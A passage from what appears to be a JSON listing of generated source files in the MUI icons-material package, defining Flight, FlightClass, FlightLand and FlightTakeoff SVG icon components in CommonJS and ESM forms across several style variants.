    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5V19l-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5z\"\n}), 'Flight');"
  },
  {
    "path": "packages/mui-icons-material/lib/Flight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5V19l-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5z\"\n}), 'Flight');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClass.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 16H18v2H9.49c-.88 0-1.66-.58-1.92-1.43L5 8V4h2v4zM8 19h10v2H8z\"\n}), 'FlightClass');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClass.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.5 16H18v2H9.49c-.88 0-1.66-.58-1.92-1.43L5 8V4h2v4zM8 19h10v2H8z\"\n}), 'FlightClass');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 7h-2V6h2zm-6.5 5H18v2H9.49c-.88 0-1.66-.58-1.92-1.43L5 8V4h2v4zM8 19h10v2H8z\"\n}), 'FlightClassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 7h-2V6h2zm-6.5 5H18v2H9.49c-.88 0-1.66-.58-1.92-1.43L5 8V4h2v4zM8 19h10v2H8z\"\n}), 'FlightClassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M6 4c.55 0 1 .45 1 1v3l2.5 8H17c.55 0 1 .45 1 1s-.45 1-1 1H9.49c-.88 0-1.66-.58-1.92-1.43L5.08 8.28C5.03 8.09 5 7.9 5 7.71V5c0-.55.45-1 1-1m12 16c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1\"\n}), 'FlightClassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M6 4c.55 0 1 .45 1 1v3l2.5 8H17c.55 0 1 .45 1 1s-.45 1-1 1H9.49c-.88 0-1.66-.58-1.92-1.43L5.08 8.28C5.03 8.09 5 7.9 5 7.71V5c0-.55.45-1 1-1m12 16c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1h8c.55 0 1 .45 1 1\"\n}), 'FlightClassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4h-6v9h6zM9.5 16H18v2H8L5 8V4h2v4zM8 19h10v2H8z\"\n}), 'FlightClassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4h-6v9h6zM9.5 16H18v2H8L5 8V4h2v4zM8 19h10v2H8z\"\n}), 'FlightClassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 6h2v5h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 7h-2V6h2zm-6.5 5H18v2H9.49c-.88 0-1.66-.58-1.92-1.43L5 8V4h2v4zM8 19h10v2H8z\"\n}, \"1\")], 'FlightClassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightClassTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 6h2v5h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 4h-2c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 7h-2V6h2zm-6.5 5H18v2H9.49c-.88 0-1.66-.58-1.92-1.43L5 8V4h2v4zM8 19h10v2H8z\"\n}, \"1\")], 'FlightClassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLand.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLand');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLand.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLand');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 19h-17c-.55 0-1 .45-1 1s.45 1 1 1h17c.55 0 1-.45 1-1s-.45-1-1-1M3.51 11.61l15.83 4.24c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.58-8.45c-.11-.36-.39-.63-.75-.73-.68-.18-1.35.33-1.35 1.04v6.88L5.15 8.95 4.4 7.09c-.12-.29-.36-.51-.67-.59l-.33-.09c-.32-.09-.63.15-.63.48v3.75c0 .46.3.85.74.97\"\n}), 'FlightLandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 19h-17c-.55 0-1 .45-1 1s.45 1 1 1h17c.55 0 1-.45 1-1s-.45-1-1-1M3.51 11.61l15.83 4.24c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.58-8.45c-.11-.36-.39-.63-.75-.73-.68-.18-1.35.33-1.35 1.04v6.88L5.15 8.95 4.4 7.09c-.12-.29-.36-.51-.67-.59l-.33-.09c-.32-.09-.63.15-.63.48v3.75c0 .46.3.85.74.97\"\n}), 'FlightLandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightLandTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm16.84-3.15c.8.21 1.62-.26 1.84-1.06.21-.8-.26-1.62-1.06-1.84l-5.31-1.42-2.76-9.02L10.12 2v8.28L5.15 8.95l-.93-2.32-1.45-.39v5.17z\"\n}), 'FlightLandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5V19l-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5z\"\n}), 'FlightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5V19l-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5z\"\n}), 'FlightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14.58c0-.36-.19-.69-.49-.89L13 9V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-7.51 4.69c-.3.19-.49.53-.49.89 0 .7.68 1.21 1.36 1L10 13.5V19l-1.8 1.35c-.13.09-.2.24-.2.4v.59c0 .33.32.57.64.48L11.5 21l2.86.82c.32.09.64-.15.64-.48v-.59c0-.16-.07-.31-.2-.4L13 19v-5.5l6.64 2.08c.68.21 1.36-.3 1.36-1\"\n}), 'FlightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14.58c0-.36-.19-.69-.49-.89L13 9V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-7.51 4.69c-.3.19-.49.53-.49.89 0 .7.68 1.21 1.36 1L10 13.5V19l-1.8 1.35c-.13.09-.2.24-.2.4v.59c0 .33.32.57.64.48L11.5 21l2.86.82c.32.09.64-.15.64-.48v-.59c0-.16-.07-.31-.2-.4L13 19v-5.5l6.64 2.08c.68.21 1.36-.3 1.36-1\"\n}), 'FlightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5V19l-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5z\"\n}), 'FlightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16v-2l-8-5V3.5c0-.83-.67-1.5-1.5-1.5S10 2.67 10 3.5V9l-8 5v2l8-2.5V19l-2 1.5V22l3.5-1 3.5 1v-1.5L13 19v-5.5z\"\n}), 'FlightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 2.59 4.49s7.12-1.9 16.57-4.43c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 2.59 4.49s7.12-1.9 16.57-4.43c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoff');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 2.59 4.49L21 11.49c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 2.59 4.49L21 11.49c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 19h-17c-.55 0-1 .45-1 1s.45 1 1 1h17c.55 0 1-.45 1-1s-.45-1-1-1m1.57-9.36c-.22-.8-1.04-1.27-1.84-1.06L14.92 10 8.46 3.98c-.27-.26-.66-.35-1.02-.25-.68.19-1 .97-.65 1.58l3.44 5.96-4.97 1.33-1.57-1.24c-.25-.19-.57-.26-.88-.18l-.33.09c-.32.08-.47.45-.3.73l1.88 3.25c.23.39.69.58 1.12.47L21 11.48c.8-.22 1.28-1.04 1.07-1.84\"\n}), 'FlightTakeoffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 19h-17c-.55 0-1 .45-1 1s.45 1 1 1h17c.55 0 1-.45 1-1s-.45-1-1-1m1.57-9.36c-.22-.8-1.04-1.27-1.84-1.06L14.92 10 8.46 3.98c-.27-.26-.66-.35-1.02-.25-.68.19-1 .97-.65 1.58l3.44 5.96-4.97 1.33-1.57-1.24c-.25-.19-.57-.26-.88-.18l-.33.09c-.32.08-.47.45-.3.73l1.88 3.25c.23.39.69.58 1.12.47L21 11.48c.8-.22 1.28-1.04 1.07-1.84\"\n}), 'FlightTakeoffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 1.82 3.16.77 1.33L21 11.49c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 1.82 3.16.77 1.33L21 11.49c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 2.59 4.49L21 11.49c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTakeoffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 19h19v2h-19zm19.57-9.36c-.21-.8-1.04-1.28-1.84-1.06L14.92 10l-6.9-6.43-1.93.51 4.14 7.17-4.97 1.33-1.97-1.54-1.45.39 2.59 4.49L21 11.49c.81-.23 1.28-1.05 1.07-1.85\"\n}), 'FlightTakeoffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FlightTwoTone.js",
